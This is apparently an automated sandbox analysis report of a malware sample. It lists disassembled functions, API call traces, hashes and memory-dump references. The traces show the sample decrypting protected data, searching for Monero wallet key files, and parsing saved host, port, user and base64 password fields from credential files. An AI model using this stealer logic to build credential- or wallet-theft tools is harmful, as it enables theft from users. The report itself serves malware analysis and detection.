Instruction Fuzzy Hash: DF118EB1945618EFEB208B54DC49FA9BBB8FB04761F10479AE90A932C0D7B49E40CF51

Function 001C3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(001CE118,00000000,00000001,001CE108,00000000), ref: 001C3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 001C37B0

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 287cb20d6307de5979b8d53c9d4e4dc4f414a0d6f1184e07f495e15e61c83f02
Instruction ID: 821665f30b353f1e57d2503bd73bde8b52fa0e330f1bb384f29786abfd47d053
Opcode Fuzzy Hash: 287cb20d6307de5979b8d53c9d4e4dc4f414a0d6f1184e07f495e15e61c83f02
Instruction Fuzzy Hash: 1641E970A40A289FDB24DB58CC95F9BB7B5BB58702F4082D8E618E72D0D771AE85CF50

Function 001B9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 001B9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 001B9BA3
LocalFree.KERNEL32(?), ref: 001B9BD3

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 02e93d222d0e7a5aaf27e62783644c358ca561a36fb3dc33252f36c589374ea4
Instruction ID: dc8a8d0d108adfccc7b74891cd146862bdda3b3e93c542138b4d382a2ac98128
Opcode Fuzzy Hash: 02e93d222d0e7a5aaf27e62783644c358ca561a36fb3dc33252f36c589374ea4
Instruction Fuzzy Hash: F911BAB4A00209DFDB05DFA4D985EAE77B9FF88300F104568E91597350D774AE11CF61

Function 00586F58 Relevance: 3.3, Strings: 2, Instructions: 830COMMON

Download Yara Rule

Strings

yXW, xrefs: 0058730A
_ph, xrefs: 0058729B

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: _ph$yXW
API String ID: 0-2400651086
Opcode ID: e3c7ece6a3a80bd0a3ce7284d8f08eaae1eaa4283a976b8ef5ff089c7352ab4a
Instruction ID: a34cae168c8a267cc0b54430ff76acb54e1ad2fdc495190205d87370cb40f74f
Opcode Fuzzy Hash: e3c7ece6a3a80bd0a3ce7284d8f08eaae1eaa4283a976b8ef5ff089c7352ab4a
Instruction Fuzzy Hash: 2E421BF3A0C2049FE3046E2DEC8567AF7E9EF94720F164A3DEAC4C3744E93599058696

Function 001BF68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001D15B8,001D0D96), ref: 001BF71E
StrCmpCA.SHLWAPI(?,001D15BC), ref: 001BF76F
StrCmpCA.SHLWAPI(?,001D15C0), ref: 001BF785
FindNextFileA.KERNEL32(000000FF,?), ref: 001BFAB1
FindClose.KERNEL32(000000FF), ref: 001BFAC3

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: a88b6641531f37e2192742d09cec6bd49b365e8aaeb3368c6c4b309dc5f8ac59
Instruction ID: 15c0cb8829528a3d581c7b3a5bc66f1f40550c6542dfc6e22d1afb1c3b08ccb1
Opcode Fuzzy Hash: a88b6641531f37e2192742d09cec6bd49b365e8aaeb3368c6c4b309dc5f8ac59
Instruction Fuzzy Hash: 4911787184010D6BDB15EB60DC55FED7378AF30304F8042ADE51A57492EF306B4ACB52

Function 006403A9 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

#%m, xrefs: 006403AD

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #%m
API String ID: 0-464343836
Opcode ID: c98f4e1c7eb29303c02179b8c3e959a75b7c0c155b781da1578fe59851834a2e
Instruction ID: f43de9c9ff12a5a74990b8c30779b10442358902100c1df54a6f757bc1f51aff
Opcode Fuzzy Hash: c98f4e1c7eb29303c02179b8c3e959a75b7c0c155b781da1578fe59851834a2e
Instruction Fuzzy Hash: D32121B251C2109FE359FE58D881A6AF7E5FF58310F16092DEBD5C3350D63168108B97

Function 005698E0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b54150de800332754fddfc1c51f30082321bfbf448099f900d434480aa75c748
Instruction ID: 9e34c51a7b900737254dd48307a956dab08a5aa599e5cec272d3eb1f24e58245
Opcode Fuzzy Hash: b54150de800332754fddfc1c51f30082321bfbf448099f900d434480aa75c748
Instruction Fuzzy Hash: A0512BF3D082105BF318AE2DDC95776B7D6EB54320F1B463DEA8997B84E93969008286

Function 004EA30C Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6442d70e482c7efa2fc58bd0c4eead74c05dabb3681b7f752347058778564a98
Instruction ID: 043302bbaca6d05f92a036686433bd578094227c291db5b5c71749555301430d
Opcode Fuzzy Hash: 6442d70e482c7efa2fc58bd0c4eead74c05dabb3681b7f752347058778564a98
Instruction Fuzzy Hash: F551B5F3A082005FE7106E6DEC9176AF7E5EB98720F1A453DEBC4D3780E9395C014696

Function 004B0A92 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fe924137f374b5a00439f020506bbd6af8ef4f33eb4ac030033f046b5bb6032
Instruction ID: 566d85085b4bb7d78347c2992a4446f7ecd1a611aceeb7cc27d66e05bed56555
Opcode Fuzzy Hash: 4fe924137f374b5a00439f020506bbd6af8ef4f33eb4ac030033f046b5bb6032
Instruction Fuzzy Hash: 0241F4F3E086108FE7449E78DD8572AB7E2EB94310F1A853CDAC993384E9395C048686

Function 00504ED1 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94b357c5a0389a6fc0dad0aa1018adce0780d67ef4106b319a00b342cf1f27df
Instruction ID: cc3d4080b4e96d1be053d1d8e3630ccb6fec8057d43c8004155b112d273c81e3
Opcode Fuzzy Hash: 94b357c5a0389a6fc0dad0aa1018adce0780d67ef4106b319a00b342cf1f27df
Instruction Fuzzy Hash: BD413CB3A0C2006BE34C5E2CDC5677AB7E9EF94360F1A452EE6C9D7780D5795C018786

Function 0048B1C9 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08433f62c14d34ac1d106fcd67894395327e9fe7dad703823113e464eaae46ee
Instruction ID: 1c348c12d7c861878d57c750f0cdc1833f40c4609d2024c9876d77afba710dac
Opcode Fuzzy Hash: 08433f62c14d34ac1d106fcd67894395327e9fe7dad703823113e464eaae46ee
Instruction Fuzzy Hash: FF4157B3E042109BF3141929EC9577ABA9ADB90320F2A463DDA88A7780E97D5C0183C5

Function 0060B75D Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99c3b818f71b267c9a579a4bf73533b808377394ee4089b25b406d9498a62807
Instruction ID: 9869daf6a76aaa0bc6422482783687aa7b6a7d07f6096b0a30c95deeff5c3db3
Opcode Fuzzy Hash: 99c3b818f71b267c9a579a4bf73533b808377394ee4089b25b406d9498a62807
Instruction Fuzzy Hash: C63195F3908210AFE314EF19D88576FBBD5EF94720F06893DEAC997640D2356C508AD2

Function 001C9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 001C0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001C8E0B

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

Part of subcall function 001B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001B99EC
Part of subcall function 001B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 001B9A11
Part of subcall function 001B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 001B9A31
Part of subcall function 001B99C0: ReadFile.KERNEL32(000000FF,?,00000000,001B148F,00000000), ref: 001B9A5A
Part of subcall function 001B99C0: LocalFree.KERNEL32(001B148F), ref: 001B9A90
Part of subcall function 001B99C0: CloseHandle.KERNEL32(000000FF), ref: 001B9A9A

Part of subcall function 001C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 001C8E52

GetProcessHeap.KERNEL32(00000000,000F423F,001D0DBA,001D0DB7,001D0DB6,001D0DB3), ref: 001C0362
RtlAllocateHeap.NTDLL(00000000), ref: 001C0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 001C0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001D0DB2), ref: 001C0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 001C03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001D0DB2), ref: 001C03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 001C0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001D0DB2), ref: 001C0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 001C0463
